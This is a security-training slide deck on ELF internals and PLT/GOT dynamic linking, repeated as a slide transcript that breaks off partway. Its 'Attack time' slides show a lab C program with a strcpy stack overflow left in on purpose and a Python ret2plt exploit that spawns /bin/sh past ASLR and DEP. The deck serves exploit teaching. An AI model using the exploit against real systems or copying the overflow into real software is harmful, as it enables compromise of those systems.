ELF format 
Knowing your enemy 
Alex Moneger 
Security Engineer
ELF format overview 
 ELF is a specification (part of the ABI) to which: 
1. The compiler adheres to when building binaries 
2. The kernel understands 
 It’s just a container for executable code 
 Used by most Unix operating systems 
 Tells the OS loader how to loukad the binary into memory 
© 2013-2014 Cisco and/or its affiliates. All rights reserved. Cisco Confidential 2
Overview 
© 2013-2014 Cisco and/or its affiliates. All rights reserved. Cisco Confidential 3
Overview 
1. At compile time, tells the linker how to connect pieces together: 
 Function x is in lib y 
 Function z is in oject-file o 
2. Before runtime, tells the loader where to put pieces in memory: 
 Loadable segment starts at address a. 
 Segment has RWE permissions 
3. At runtime, provides information to the dynamic linker to resolve 
addresses: 
 Allows to find out address of function x when it’s called in the programs life => 
lazy binding 
© 2013-2014 Cisco and/or its affiliates. All rights reserved. Cisco Confidential 4
 We will look mostly at compile and runtime behaviors 
 Explains partially how OS protections are set 
 Runtime function resolving might be something interesting from an 
exploit view 
 Just explains how the OS works 
© 2013-2014 Cisco and/or its affiliates. All rights reserved. Cisco Confidential 5
Digging in 
© 2013-2014 Cisco and/or its affiliates. All rights reserved. Cisco Confidential 6
Elf overview 
 An ELF file has: 
 A header 
 A program header 
 A section header 
 Sections 
 More stuff which matters less (string table, debug symbols, …) 
 Sections are used by the linker (compile time) 
 Segments are used by the loader (runtime) 
© 2013-2014 Cisco and/or its affiliates. All rights reserved. Cisco Confidential 7
Linker vs Loader 
 Linking  Executing 
Elf Header 
Program Header (not used) 
Section 1 
Section 2 
… 
Section n-1 
Section n 
Section header table 
Elf Header 
Program Header 
Segment 1 
… 
Section k 
Section header table (not used) 
© 2013-2014 Cisco and/or its affiliates. All rights reserved. Cisco Confidential 8
Elf header 
 ELF header contains: 
 A magic number 
 OS related stuff (32, 64 bits, ABI, …) 
 Type of ELF (executable, library, …) 
Elf Header 
 An entry point for the program (where does the program start from?) 
 Pointer to, size and numbers of entries of: 
 Program header 
 Section header table 
 Index in the section table which contains the string table 
© 2013-2014 Cisco and/or its affiliates. All rights reserved. Cisco Confidential 9
Elf header 
 Sample output: 
cisco@kali:~/src/seccon/ch6$ readelf -h /bin/false 
ELF Header: 
Magic: 7f 45 4c 46 01 01 01 00 00 00 00 00 00 00 00 00 
Class: ELF32 
Data: 2's complement, little endian 
Version: 1 (current) 
OS/ABI: UNIX - System V 
ABI Version: 0 
Type: EXEC (Executable file) 
Machine: Intel 80386 
Version: 0x1 
Entry point address: 0x8048e44 
Start of program headers: 52 (bytes into file) 
Start of section headers: 20908 (bytes into file) 
Flags: 0x0 
Size of this header: 52 (bytes) 
Size of program headers: 32 (bytes) 
Number of program headers: 9 
Size of section headers: 40 (bytes) 
Number of section headers: 28 
Section header string table index: 27 
© 2013-2014 Cisco and/or its affiliates. All rights reserved. Cisco Confidential 10
Section 
 A section is an arbitrary zone of memory containing stuff, with assigned 
flags and permissions 
 Interesting sections: 
 .text => contains the code of the executable 
 .rodata => contains read only data (constants, …) 
 .data => contains data 
 .got/.plt => jump table for the dynamic linker 
 Not used by the loader 
Section 1 
© 2013-2014 Cisco and/or its affiliates. All rights reserved. Cisco Confidential 11
Section table 
 A section header contains this information on the section: 
 A pointer to the section (both offset and address) 
 The size 
 The name 
 A bunch of flags 
 A type 
 Section table is at the end of the file 
 Reading it allows to find all sections in the file 
Section header table 
© 2013-2014 Cisco and/or its affiliates. All rights reserved. Cisco Confidential 12
Section Example 
cisco@kali:~/src/seccon/ch6$ objdump -h /bin/false | egrep -A 1 "Name|.text|.data|.rodata|.bss|.plt|.gpt" 
Idx Name Size VMA LMA File off Algn 
0 .interp 00000013 08048154 08048154 00000154 2**0 
-- 
10 .rel.plt 00000138 08048974 08048974 00000974 2**2 
CONTENTS, ALLOC, LOAD, READONLY, DATA 
-- 
12 .plt 00000280 08048ae0 08048ae0 00000ae0 2**4 
CONTENTS, ALLOC, LOAD, READONLY, CODE 
13 .text 0000261c 08048d60 08048d60 00000d60 2**4 
CONTENTS, ALLOC, LOAD, READONLY, CODE 
-- 
15 .rodata 000009a0 0804b3a0 0804b3a0 000033a0 2**5 
CONTENTS, ALLOC, LOAD, READONLY, DATA 
-- 
23 .got.plt 000000a8 0804dff4 0804dff4 00004ff4 2**2 
CONTENTS, ALLOC, LOAD, DATA 
24 .data 00000020 0804e09c 0804e09c 0000509c 2**2 
CONTENTS, ALLOC, LOAD, DATA 
25 .bss 00000180 0804e0c0 0804e0c0 000050bc 2**5 
ALLOC 
© 2013-2014 Cisco and/or its affiliates. All rights reserved. Cisco Confidential 13
Segments 
 A segment is an aggregation of loadable sections: 
 A segment defines: 
 Permissions applied in memory 
 Start address 
 Size 
 Contains one or more sections 
Segment 1 
 Sections with identical permissions are mapped to one segment 
 Segments are page aligned 
 Only the loader cares about segments 
© 2013-2014 Cisco and/or its affiliates. All rights reserved. Cisco Confidential 14
Segment header 
 Same thing as section headers, but for segments 
 Table metadata for segments 
 Holds: 
 A pointer to the section (both offset and address) 
 The size 
 The name 
 A bunch of flags 
 A type 
Program Header 
© 2013-2014 Cisco and/or its affiliates. All rights reserved. Cisco Confidential 15
Segment example 
cisco@kali:~/src/seccon/ch6$ readelf -l /bin/false 
Elf file type is EXEC (Executable file) 
Entry point 0x8048e44 
There are 9 program headers, starting at offset 52 
Program Headers: 
Type Offset VirtAddr PhysAddr FileSiz MemSiz Flg Align 
PHDR 0x000034 0x08048034 0x08048034 0x00120 0x00120 R E 0x4 
INTERP 0x000154 0x08048154 0x08048154 0x00013 0x00013 R 0x1 
[Requesting program interpreter: /lib/ld-linux.so.2] 
LOAD 0x000000 0x08048000 0x08048000 0x04658 0x04658 R E 0x1000 
LOAD 0x004ef0 0x0804def0 0x0804def0 0x001cc 0x00350 RW 0x1000 
DYNAMIC 0x004efc 0x0804defc 0x0804defc 0x000f0 0x000f0 RW 0x4 
NOTE 0x000168 0x08048168 0x08048168 0x00044 0x00044 R 0x4 
GNU_EH_FRAME 0x003d40 0x0804bd40 0x0804bd40 0x001c4 0x001c4 R 0x4 
GNU_STACK 0x000000 0x00000000 0x00000000 0x00000 0x00000 RW 0x4 
GNU_RELRO 0x004ef0 0x0804def0 0x0804def0 0x00110 0x00110 R 0x1 
Section to Segment mapping: 
Segment Sections... 
00 
01 .interp 
02 .interp .note.ABI-tag .note.gnu.build-id .hash .gnu.hash .dynsym .dynstr .gnu.version .gnu.version_r .rel.dyn .rel.plt .init .plt .text .fini 
.rodata .eh_frame_hdr .eh_frame 
03 .init_array .fini_array .jcr .dynamic .got .got.plt .data .bss 
04 .dynamic 
05 .note.ABI-tag .note.gnu.build-id 
06 .eh_frame_hdr 
07 
08 .init_array .fini_array .jcr .dynamic .got 
© 2013-2014 Cisco and/or its affiliates. All rights reserved. Cisco Confidential 16
What goes where? 
 Constant data => .rodata 
 Initialized data => .data 
 Code => .text 
© 2013-2014 Cisco and/or its affiliates. All rights reserved. Cisco Confidential 17
What goes where? 
cisco@kali:~/src/seccon/ch6$ pygmentize -g ../ch4/aslr.c 
#define _GNU_SOURCE /* for RTLD_NEXT */ 
#include <dlfcn.h> 
#include <stdio.h> 
#include <stdlib.h> 
#include <string.h> 
char *rodata = "ABCD"; // .rodata 
char data[4+1] = "ABCD"; // .data 
int main(int argc, char **argv) { 
printf("Stack base address: %pn", argv); 
char *heap = malloc(sizeof(int)); 
printf("Heap base address: %pn", heap); 
void (*memcpy_addr)(int) = dlsym(RTLD_NEXT, "memcpy"); 
printf("Memcpy libc address: %pn", memcpy_addr); 
unsigned int text; 
__asm__("call dummy;" 
"dummy: pop %%eax;" 
"mov %%eax, %0;":"=r"(text)); 
printf("Code section address: %pn", text); 
printf("Data section address: %pn", data); 
printf("RO data section address: %pn", rodata); 
free(heap); 
} 
© 2013-2014 Cisco and/or its affiliates. All rights reserved. Cisco Confidential 18
Proof 
 Is everything where it should be? 
cisco@kali:~/src/seccon/ch6$ objdump -S -j .rodata ../ch4/aslr | grep ABCD 
804866c: 01 00 02 00 41 42 43 44 00 53 74 61 63 6b 20 62 ....ABCD.Stack b 
cisco@kali:~/src/seccon/ch6$ objdump -S -j .data ../ch4/aslr | grep ABCD 
80498d0: 41 42 43 44 00 00 00 00 ABCD.... 
© 2013-2014 Cisco and/or its affiliates. All rights reserved. Cisco Confidential 19
Stripping section table 
1. Find where section table is 
2. Remove it 
3. Run the file 
4. Piss off reversers 
cisco@kali:~/src/seccon/ch6$ ./echo abcd 
abcd 
cisco@kali:~/src/seccon/ch6$ readelf -h echo | grep "section headers" 
Start of section headers: 25016 (bytes into file) 
Size of section headers: 40 (bytes) 
Number of section headers: 28 
cisco@kali:~/src/seccon/ch6$ truncate -s 25016 echo 
cisco@kali:~/src/seccon/ch6$ ./echo abcd 
abcd 
cisco@kali:~/src/seccon/ch6$ ls -l echo 
-rwxr-xr-x 1 dahtah dahtah 25016 Apr 22 17:19 echo 
© 2013-2014 Cisco and/or its affiliates. All rights reserved. Cisco Confidential 20
Dynamic linking 
© 2013-2014 Cisco and/or its affiliates. All rights reserved. Cisco Confidential 21
Overview 
 Dynamic linking allows to resolve library functions at runtime 
 Useful feature to have with dynamic libraries 
 Relies on 2 tables: 
 Procedure Linkage Table (PLT) 
 Global Offset Table (GOT) 
 Requires the dynamic linker: 
 ld-linux.so 
© 2013-2014 Cisco and/or its affiliates. All rights reserved. Cisco Confidential 22
How does it work? 
 The application code calls a stub function in the PLT, not the function 
itself 
 Ie: your code calls printf@plt, not directly the libc printf 
 This translates to the application code doing a near relative call to the 
plt stub: 
cisco@kali:~/src/seccon/ch6$ objdump -d -j .text -M intel /bin/echo | grep '@plt' | head -n 1 
8048e19: e8 72 fe ff ff call 8048c90 <getenv@plt> 
cisco@kali:~/src/seccon/ch6$ python -c 'import exutil as x; print x.cmp2(0xfffffe72 + 0x5)' 
-393 
cisco@kali:~/src/seccon/ch6$ objdump -d -j .plt -M intel /bin/echo | grep 'getenv@plt>:' 
08048c90 <getenv@plt>: 
cisco@kali:~/src/seccon/ch6$ python -c "print 0x08048c90 - 0x08048e19" 
-393 
© 2013-2014 Cisco and/or its affiliates. All rights reserved. Cisco Confidential 23
PLT stub 
 Our code jumps at a fixed offset into the PLT 
 There’s some magic code there, let’s trace it: 
gdb$ x/3i 0x80482f0 
0x80482f0 <puts@plt>: jmp DWORD PTR ds:0x8049654 
0x80482f6 <puts@plt+6>: push 0x0 
0x80482fb <puts@plt+11>: jmp 0x80482e0 
gdb$ x/w 0x8049654 
0x8049654 <puts@got.plt>: 0x080482f6 
gdb$ x/10i 0x80482e0 
0x80482e0: push DWORD PTR ds:0x804964c 
0x80482e6: jmp DWORD PTR ds:0x8049650 
0x80482ec: add BYTE PTR [eax],al 
0x80482ee: add BYTE PTR [eax],al 
0x80482f0 <puts@plt>: jmp DWORD PTR ds:0x8049654 
0x80482f6 <puts@plt+6>: push 0x0 
0x80482fb <puts@plt+11>: jmp 0x80482e0 
gdb$ x/x 0x804964c 
0x804964c <_GLOBAL_OFFSET_TABLE_+4>: 0xb7fff908 
gdb$ x/x 0x8049650 
0x8049650 <_GLOBAL_OFFSET_TABLE_+8>: 0xb7ff59b0 
gdb$ info files 
0xb7fe2820 - 0xb7ff905f is .text in /lib/ld-linux.so.2 
© 2013-2014 Cisco and/or its affiliates. All rights reserved. Cisco Confidential 24
What’s happening 
 PLT entry jumps to the GOT, then jumps back to itself (next instruction) 
 It pushes a value on the stack 
 It jumps back to PLT[0] 
 PLT[0] jumps into the dynamic linker 
 Dynamic linker resolves the libc address 
 Linker updates the GOT entry with the resolved address, using the 
offset pushed in the PLT 
 Linker jumps to libc address 
© 2013-2014 Cisco and/or its affiliates. All rights reserved. Cisco Confidential 25
Further calls 
 First call to a func  Next calls 
© 2013-2014 Cisco and/or its affiliates. All rights reserved. Cisco Confidential 26
Summary 
 In short: 
 The PLT entry is used to call the function 
 Once resolved, the GOT contains the real address of the function 
 The dynamic linker is in charge of resolving the address at runtime 
 The dynamic linker updates the GOT entry after the first call 
© 2013-2014 Cisco and/or its affiliates. All rights reserved. Cisco Confidential 27
Attack time! 
© 2013-2014 Cisco and/or its affiliates. All rights reserved. Cisco Confidential 28
Facts 
 .text section is at known address 
 .plt is at fixed offset from .text => known address 
 .got => known address 
 “GOT contains the real address of the function” 
 So we know the addresses of functions exported by the binary 
© 2013-2014 Cisco and/or its affiliates. All rights reserved. Cisco Confidential 29
objdump 
 Objdump can give us all the relocation info 
 PLT: 
cisco@kali:~/src/seccon/ch6$ objdump -d -j .plt -M intel /bin/false 
 GOT: 
cisco@kali:~/src/seccon/ch6$ objdump -R /bin/false | grep JUMP 
0804e000 R_386_JUMP_SLOT strcmp 
0804e004 R_386_JUMP_SLOT fflush 
0804e008 R_386_JUMP_SLOT _exit 
0804e00c R_386_JUMP_SLOT free 
 These are reliable addresses 
© 2013-2014 Cisco and/or its affiliates. All rights reserved. Cisco Confidential 30
Using PLT to our advantage 
 When you overwrite SEIP, you can overwrite with an interesting PLT 
address 
 Remember the pop;pop;ret gadget from ret2libc? 
 You can use ppr constructs to chain PLT calls 
© 2013-2014 Cisco and/or its affiliates. All rights reserved. Cisco Confidential 31
Vulnerable program (ASLR + DEP) 
 The usual, but with a piece of dead code 
cisco@kali:~/src/seccon/ch6$ pygmentize -g ch6.c 
#include <stdlib.h> 
#include <stdio.h> 
#include <string.h> 
int does_nothing() { 
system("/bin/sh"); 
} 
int vuln(const char *stuff) { 
char buf[0x64] = {0}; 
strcpy(buf, stuff); 
return 1; 
} 
int main(int argc, char **argv) { 
vuln(argv[1]); 
return 0; 
} 
© 2013-2014 Cisco and/or its affiliates. All rights reserved. Cisco Confidential 32
I’m not dead 
 Find PLT entry and “/bin/sh” address 
cisco@kali:~/src/seccon/ch6$ objdump -d -j .plt -M intel ch6 | grep system 
08048330 <system@plt>: 
cisco@kali:~/src/seccon/ch6$ strings -a -t d ch6 | grep "/sh" 
1360 /bin/sh 
cisco@kali:~/src/seccon/ch6$ readelf -l ch6 | grep -i LOAD 
LOAD 0x000000 0x08048000 0x08048000 0x0062c 0x0062c R E 0x1000 
LOAD 0x00062c 0x0804962c 0x0804962c 0x00124 0x00128 RW 0x1000 
cisco@kali:~/src/seccon/ch6$ python -c 'print hex(0x08048000 + 1360)' 
0x8048550 
© 2013-2014 Cisco and/or its affiliates. All rights reserved. Cisco Confidential 33
Exploit 
 Similar to ret2libc, except ASLR and DEP are on 
cisco@kali:~/src/seccon/ch6$ pygmentize -g ch6.py 
#!/usr/bin/env python 
# -*- coding: utf-8 -*- 
import os 
import struct as s 
target = "ch6" 
overflow_len = 112 
sys_plt_addr = 0x08048330 
sh_addr = 0x8048550 
target_path = os.path.abspath(target) 
sys_plt = s.pack("<I", sys_plt_addr) 
sh = s.pack("<I", sh_addr) 
ex = "%s%s%s%s" % ('A'*overflow_len, sys_plt, "x43"*4, sh) 
os.execve(target_path, (target_path, ex), os.environ) 
© 2013-2014 Cisco and/or its affiliates. All rights reserved. Cisco Confidential 34
Further topics 
© 2013-2014 Cisco and/or its affiliates. All rights reserved. Cisco Confidential 35
Libc offsets 
 My function is not imported by the binary 
 Looking for constants again 
 Offsets in libc between functions are constant 
1. Pick a function in PLT 
2. Compute offset with the one you want 
3. Find a way to call it (overwrite GOT the call PLT, call reg, …) 
 More on this later… 
© 2013-2014 Cisco and/or its affiliates. All rights reserved. Cisco Confidential 36
Demonstration 
 I want to call execve 
 My binary imports strcpy => 0xb7ed8b70 
 Compute offset between strcpy and execve 
gdb$ p/x &strcpy 
$1 = 0xb7ed8b70 
gdb$ p/x &execve 
$2 = 0xb7f00680 
gdb$ p/x &execve - &strcpy 
$3 = 0x27b10 
 Find a way to get strcpy GOT address and call strcpy + offset 
© 2013-2014 Cisco and/or its affiliates. All rights reserved. Cisco Confidential 37
Game time 
© 2013-2014 Cisco and/or its affiliates. All rights reserved. Cisco Confidential 38
Practice 
 Get familiar with PLT/GOT. Pick 
a binary, follow the flow 
 Change the GOT address of a 
function, before it is called. What 
happens? 
 Strip a binary and remove the 
section table. Try to debug it 
 Exploit ch6 with ASLR and DEP 
enabled 
 Try using strcpy to copy 
something to a known location 
© 2013-2014 Cisco and/or its affiliates. All rights reserved. Cisco Confidential 39

06 - ELF format, knowing your friend

  • 1.
    ELF format Knowingyour enemy Alex Moneger Security Engineer
  • 2.
    ELF format overview  ELF is a specification (part of the ABI) to which: 1. The compiler adheres to when building binaries 2. The kernel understands  It’s just a container for executable code  Used by most Unix operating systems  Tells the OS loader how to loukad the binary into memory © 2013-2014 Cisco and/or its affiliates. All rights reserved. Cisco Confidential 2
  • 3.
    Overview © 2013-2014Cisco and/or its affiliates. All rights reserved. Cisco Confidential 3
  • 4.
    Overview 1. Atcompile time, tells the linker how to connect pieces together:  Function x is in lib y  Function z is in oject-file o 2. Before runtime, tells the loader where to put pieces in memory:  Loadable segment starts at address a.  Segment has RWE permissions 3. At runtime, provides information to the dynamic linker to resolve addresses:  Allows to find out address of function x when it’s called in the programs life => lazy binding © 2013-2014 Cisco and/or its affiliates. All rights reserved. Cisco Confidential 4
  • 5.
     We willlook mostly at compile and runtime behaviors  Explains partially how OS protections are set  Runtime function resolving might be something interesting from an exploit view  Just explains how the OS works © 2013-2014 Cisco and/or its affiliates. All rights reserved. Cisco Confidential 5
  • 6.
    Digging in ©2013-2014 Cisco and/or its affiliates. All rights reserved. Cisco Confidential 6
  • 7.
    Elf overview An ELF file has:  A header  A program header  A section header  Sections  More stuff which matters less (string table, debug symbols, …)  Sections are used by the linker (compile time)  Segments are used by the loader (runtime) © 2013-2014 Cisco and/or its affiliates. All rights reserved. Cisco Confidential 7
  • 8.
    Linker vs Loader  Linking  Executing Elf Header Program Header (not used) Section 1 Section 2 … Section n-1 Section n Section header table Elf Header Program Header Segment 1 … Section k Section header table (not used) © 2013-2014 Cisco and/or its affiliates. All rights reserved. Cisco Confidential 8
  • 9.
    Elf header ELF header contains:  A magic number  OS related stuff (32, 64 bits, ABI, …)  Type of ELF (executable, library, …) Elf Header  An entry point for the program (where does the program start from?)  Pointer to, size and numbers of entries of:  Program header  Section header table  Index in the section table which contains the string table © 2013-2014 Cisco and/or its affiliates. All rights reserved. Cisco Confidential 9
  • 10.
    Elf header Sample output: cisco@kali:~/src/seccon/ch6$ readelf -h /bin/false ELF Header: Magic: 7f 45 4c 46 01 01 01 00 00 00 00 00 00 00 00 00 Class: ELF32 Data: 2's complement, little endian Version: 1 (current) OS/ABI: UNIX - System V ABI Version: 0 Type: EXEC (Executable file) Machine: Intel 80386 Version: 0x1 Entry point address: 0x8048e44 Start of program headers: 52 (bytes into file) Start of section headers: 20908 (bytes into file) Flags: 0x0 Size of this header: 52 (bytes) Size of program headers: 32 (bytes) Number of program headers: 9 Size of section headers: 40 (bytes) Number of section headers: 28 Section header string table index: 27 © 2013-2014 Cisco and/or its affiliates. All rights reserved. Cisco Confidential 10
  • 11.
    Section  Asection is an arbitrary zone of memory containing stuff, with assigned flags and permissions  Interesting sections:  .text => contains the code of the executable  .rodata => contains read only data (constants, …)  .data => contains data  .got/.plt => jump table for the dynamic linker  Not used by the loader Section 1 © 2013-2014 Cisco and/or its affiliates. All rights reserved. Cisco Confidential 11
  • 12.
    Section table A section header contains this information on the section:  A pointer to the section (both offset and address)  The size  The name  A bunch of flags  A type  Section table is at the end of the file  Reading it allows to find all sections in the file Section header table © 2013-2014 Cisco and/or its affiliates. All rights reserved. Cisco Confidential 12
  • 13.
    Section Example cisco@kali:~/src/seccon/ch6$objdump -h /bin/false | egrep -A 1 "Name|.text|.data|.rodata|.bss|.plt|.gpt" Idx Name Size VMA LMA File off Algn 0 .interp 00000013 08048154 08048154 00000154 2**0 -- 10 .rel.plt 00000138 08048974 08048974 00000974 2**2 CONTENTS, ALLOC, LOAD, READONLY, DATA -- 12 .plt 00000280 08048ae0 08048ae0 00000ae0 2**4 CONTENTS, ALLOC, LOAD, READONLY, CODE 13 .text 0000261c 08048d60 08048d60 00000d60 2**4 CONTENTS, ALLOC, LOAD, READONLY, CODE -- 15 .rodata 000009a0 0804b3a0 0804b3a0 000033a0 2**5 CONTENTS, ALLOC, LOAD, READONLY, DATA -- 23 .got.plt 000000a8 0804dff4 0804dff4 00004ff4 2**2 CONTENTS, ALLOC, LOAD, DATA 24 .data 00000020 0804e09c 0804e09c 0000509c 2**2 CONTENTS, ALLOC, LOAD, DATA 25 .bss 00000180 0804e0c0 0804e0c0 000050bc 2**5 ALLOC © 2013-2014 Cisco and/or its affiliates. All rights reserved. Cisco Confidential 13
  • 14.
    Segments  Asegment is an aggregation of loadable sections:  A segment defines:  Permissions applied in memory  Start address  Size  Contains one or more sections Segment 1  Sections with identical permissions are mapped to one segment  Segments are page aligned  Only the loader cares about segments © 2013-2014 Cisco and/or its affiliates. All rights reserved. Cisco Confidential 14
  • 15.
    Segment header Same thing as section headers, but for segments  Table metadata for segments  Holds:  A pointer to the section (both offset and address)  The size  The name  A bunch of flags  A type Program Header © 2013-2014 Cisco and/or its affiliates. All rights reserved. Cisco Confidential 15
  • 16.
    Segment example cisco@kali:~/src/seccon/ch6$readelf -l /bin/false Elf file type is EXEC (Executable file) Entry point 0x8048e44 There are 9 program headers, starting at offset 52 Program Headers: Type Offset VirtAddr PhysAddr FileSiz MemSiz Flg Align PHDR 0x000034 0x08048034 0x08048034 0x00120 0x00120 R E 0x4 INTERP 0x000154 0x08048154 0x08048154 0x00013 0x00013 R 0x1 [Requesting program interpreter: /lib/ld-linux.so.2] LOAD 0x000000 0x08048000 0x08048000 0x04658 0x04658 R E 0x1000 LOAD 0x004ef0 0x0804def0 0x0804def0 0x001cc 0x00350 RW 0x1000 DYNAMIC 0x004efc 0x0804defc 0x0804defc 0x000f0 0x000f0 RW 0x4 NOTE 0x000168 0x08048168 0x08048168 0x00044 0x00044 R 0x4 GNU_EH_FRAME 0x003d40 0x0804bd40 0x0804bd40 0x001c4 0x001c4 R 0x4 GNU_STACK 0x000000 0x00000000 0x00000000 0x00000 0x00000 RW 0x4 GNU_RELRO 0x004ef0 0x0804def0 0x0804def0 0x00110 0x00110 R 0x1 Section to Segment mapping: Segment Sections... 00 01 .interp 02 .interp .note.ABI-tag .note.gnu.build-id .hash .gnu.hash .dynsym .dynstr .gnu.version .gnu.version_r .rel.dyn .rel.plt .init .plt .text .fini .rodata .eh_frame_hdr .eh_frame 03 .init_array .fini_array .jcr .dynamic .got .got.plt .data .bss 04 .dynamic 05 .note.ABI-tag .note.gnu.build-id 06 .eh_frame_hdr 07 08 .init_array .fini_array .jcr .dynamic .got © 2013-2014 Cisco and/or its affiliates. All rights reserved. Cisco Confidential 16
  • 17.
    What goes where?  Constant data => .rodata  Initialized data => .data  Code => .text © 2013-2014 Cisco and/or its affiliates. All rights reserved. Cisco Confidential 17
  • 18.
    What goes where? cisco@kali:~/src/seccon/ch6$ pygmentize -g ../ch4/aslr.c #define _GNU_SOURCE /* for RTLD_NEXT */ #include <dlfcn.h> #include <stdio.h> #include <stdlib.h> #include <string.h> char *rodata = "ABCD"; // .rodata char data[4+1] = "ABCD"; // .data int main(int argc, char **argv) { printf("Stack base address: %pn", argv); char *heap = malloc(sizeof(int)); printf("Heap base address: %pn", heap); void (*memcpy_addr)(int) = dlsym(RTLD_NEXT, "memcpy"); printf("Memcpy libc address: %pn", memcpy_addr); unsigned int text; __asm__("call dummy;" "dummy: pop %%eax;" "mov %%eax, %0;":"=r"(text)); printf("Code section address: %pn", text); printf("Data section address: %pn", data); printf("RO data section address: %pn", rodata); free(heap); } © 2013-2014 Cisco and/or its affiliates. All rights reserved. Cisco Confidential 18
  • 19.
    Proof  Iseverything where it should be? cisco@kali:~/src/seccon/ch6$ objdump -S -j .rodata ../ch4/aslr | grep ABCD 804866c: 01 00 02 00 41 42 43 44 00 53 74 61 63 6b 20 62 ....ABCD.Stack b cisco@kali:~/src/seccon/ch6$ objdump -S -j .data ../ch4/aslr | grep ABCD 80498d0: 41 42 43 44 00 00 00 00 ABCD.... © 2013-2014 Cisco and/or its affiliates. All rights reserved. Cisco Confidential 19
  • 20.
    Stripping section table 1. Find where section table is 2. Remove it 3. Run the file 4. Piss off reversers cisco@kali:~/src/seccon/ch6$ ./echo abcd abcd cisco@kali:~/src/seccon/ch6$ readelf -h echo | grep "section headers" Start of section headers: 25016 (bytes into file) Size of section headers: 40 (bytes) Number of section headers: 28 cisco@kali:~/src/seccon/ch6$ truncate -s 25016 echo cisco@kali:~/src/seccon/ch6$ ./echo abcd abcd cisco@kali:~/src/seccon/ch6$ ls -l echo -rwxr-xr-x 1 dahtah dahtah 25016 Apr 22 17:19 echo © 2013-2014 Cisco and/or its affiliates. All rights reserved. Cisco Confidential 20
  • 21.
    Dynamic linking ©2013-2014 Cisco and/or its affiliates. All rights reserved. Cisco Confidential 21
  • 22.
    Overview  Dynamiclinking allows to resolve library functions at runtime  Useful feature to have with dynamic libraries  Relies on 2 tables:  Procedure Linkage Table (PLT)  Global Offset Table (GOT)  Requires the dynamic linker:  ld-linux.so © 2013-2014 Cisco and/or its affiliates. All rights reserved. Cisco Confidential 22
  • 23.
    How does itwork?  The application code calls a stub function in the PLT, not the function itself  Ie: your code calls printf@plt, not directly the libc printf  This translates to the application code doing a near relative call to the plt stub: cisco@kali:~/src/seccon/ch6$ objdump -d -j .text -M intel /bin/echo | grep '@plt' | head -n 1 8048e19: e8 72 fe ff ff call 8048c90 <getenv@plt> cisco@kali:~/src/seccon/ch6$ python -c 'import exutil as x; print x.cmp2(0xfffffe72 + 0x5)' -393 cisco@kali:~/src/seccon/ch6$ objdump -d -j .plt -M intel /bin/echo | grep 'getenv@plt>:' 08048c90 <getenv@plt>: cisco@kali:~/src/seccon/ch6$ python -c "print 0x08048c90 - 0x08048e19" -393 © 2013-2014 Cisco and/or its affiliates. All rights reserved. Cisco Confidential 23
  • 24.
    PLT stub Our code jumps at a fixed offset into the PLT  There’s some magic code there, let’s trace it: gdb$ x/3i 0x80482f0 0x80482f0 <puts@plt>: jmp DWORD PTR ds:0x8049654 0x80482f6 <puts@plt+6>: push 0x0 0x80482fb <puts@plt+11>: jmp 0x80482e0 gdb$ x/w 0x8049654 0x8049654 <puts@got.plt>: 0x080482f6 gdb$ x/10i 0x80482e0 0x80482e0: push DWORD PTR ds:0x804964c 0x80482e6: jmp DWORD PTR ds:0x8049650 0x80482ec: add BYTE PTR [eax],al 0x80482ee: add BYTE PTR [eax],al 0x80482f0 <puts@plt>: jmp DWORD PTR ds:0x8049654 0x80482f6 <puts@plt+6>: push 0x0 0x80482fb <puts@plt+11>: jmp 0x80482e0 gdb$ x/x 0x804964c 0x804964c <_GLOBAL_OFFSET_TABLE_+4>: 0xb7fff908 gdb$ x/x 0x8049650 0x8049650 <_GLOBAL_OFFSET_TABLE_+8>: 0xb7ff59b0 gdb$ info files 0xb7fe2820 - 0xb7ff905f is .text in /lib/ld-linux.so.2 © 2013-2014 Cisco and/or its affiliates. All rights reserved. Cisco Confidential 24
  • 25.
    What’s happening PLT entry jumps to the GOT, then jumps back to itself (next instruction)  It pushes a value on the stack  It jumps back to PLT[0]  PLT[0] jumps into the dynamic linker  Dynamic linker resolves the libc address  Linker updates the GOT entry with the resolved address, using the offset pushed in the PLT  Linker jumps to libc address © 2013-2014 Cisco and/or its affiliates. All rights reserved. Cisco Confidential 25
  • 26.
    Further calls First call to a func  Next calls © 2013-2014 Cisco and/or its affiliates. All rights reserved. Cisco Confidential 26
  • 27.
    Summary  Inshort:  The PLT entry is used to call the function  Once resolved, the GOT contains the real address of the function  The dynamic linker is in charge of resolving the address at runtime  The dynamic linker updates the GOT entry after the first call © 2013-2014 Cisco and/or its affiliates. All rights reserved. Cisco Confidential 27
  • 28.
    Attack time! ©2013-2014 Cisco and/or its affiliates. All rights reserved. Cisco Confidential 28
  • 29.
    Facts  .textsection is at known address  .plt is at fixed offset from .text => known address  .got => known address  “GOT contains the real address of the function”  So we know the addresses of functions exported by the binary © 2013-2014 Cisco and/or its affiliates. All rights reserved. Cisco Confidential 29
  • 30.
    objdump  Objdumpcan give us all the relocation info  PLT: cisco@kali:~/src/seccon/ch6$ objdump -d -j .plt -M intel /bin/false  GOT: cisco@kali:~/src/seccon/ch6$ objdump -R /bin/false | grep JUMP 0804e000 R_386_JUMP_SLOT strcmp 0804e004 R_386_JUMP_SLOT fflush 0804e008 R_386_JUMP_SLOT _exit 0804e00c R_386_JUMP_SLOT free  These are reliable addresses © 2013-2014 Cisco and/or its affiliates. All rights reserved. Cisco Confidential 30
  • 31.
    Using PLT toour advantage  When you overwrite SEIP, you can overwrite with an interesting PLT address  Remember the pop;pop;ret gadget from ret2libc?  You can use ppr constructs to chain PLT calls © 2013-2014 Cisco and/or its affiliates. All rights reserved. Cisco Confidential 31
  • 32.
    Vulnerable program (ASLR+ DEP)  The usual, but with a piece of dead code cisco@kali:~/src/seccon/ch6$ pygmentize -g ch6.c #include <stdlib.h> #include <stdio.h> #include <string.h> int does_nothing() { system("/bin/sh"); } int vuln(const char *stuff) { char buf[0x64] = {0}; strcpy(buf, stuff); return 1; } int main(int argc, char **argv) { vuln(argv[1]); return 0; } © 2013-2014 Cisco and/or its affiliates. All rights reserved. Cisco Confidential 32
  • 33.
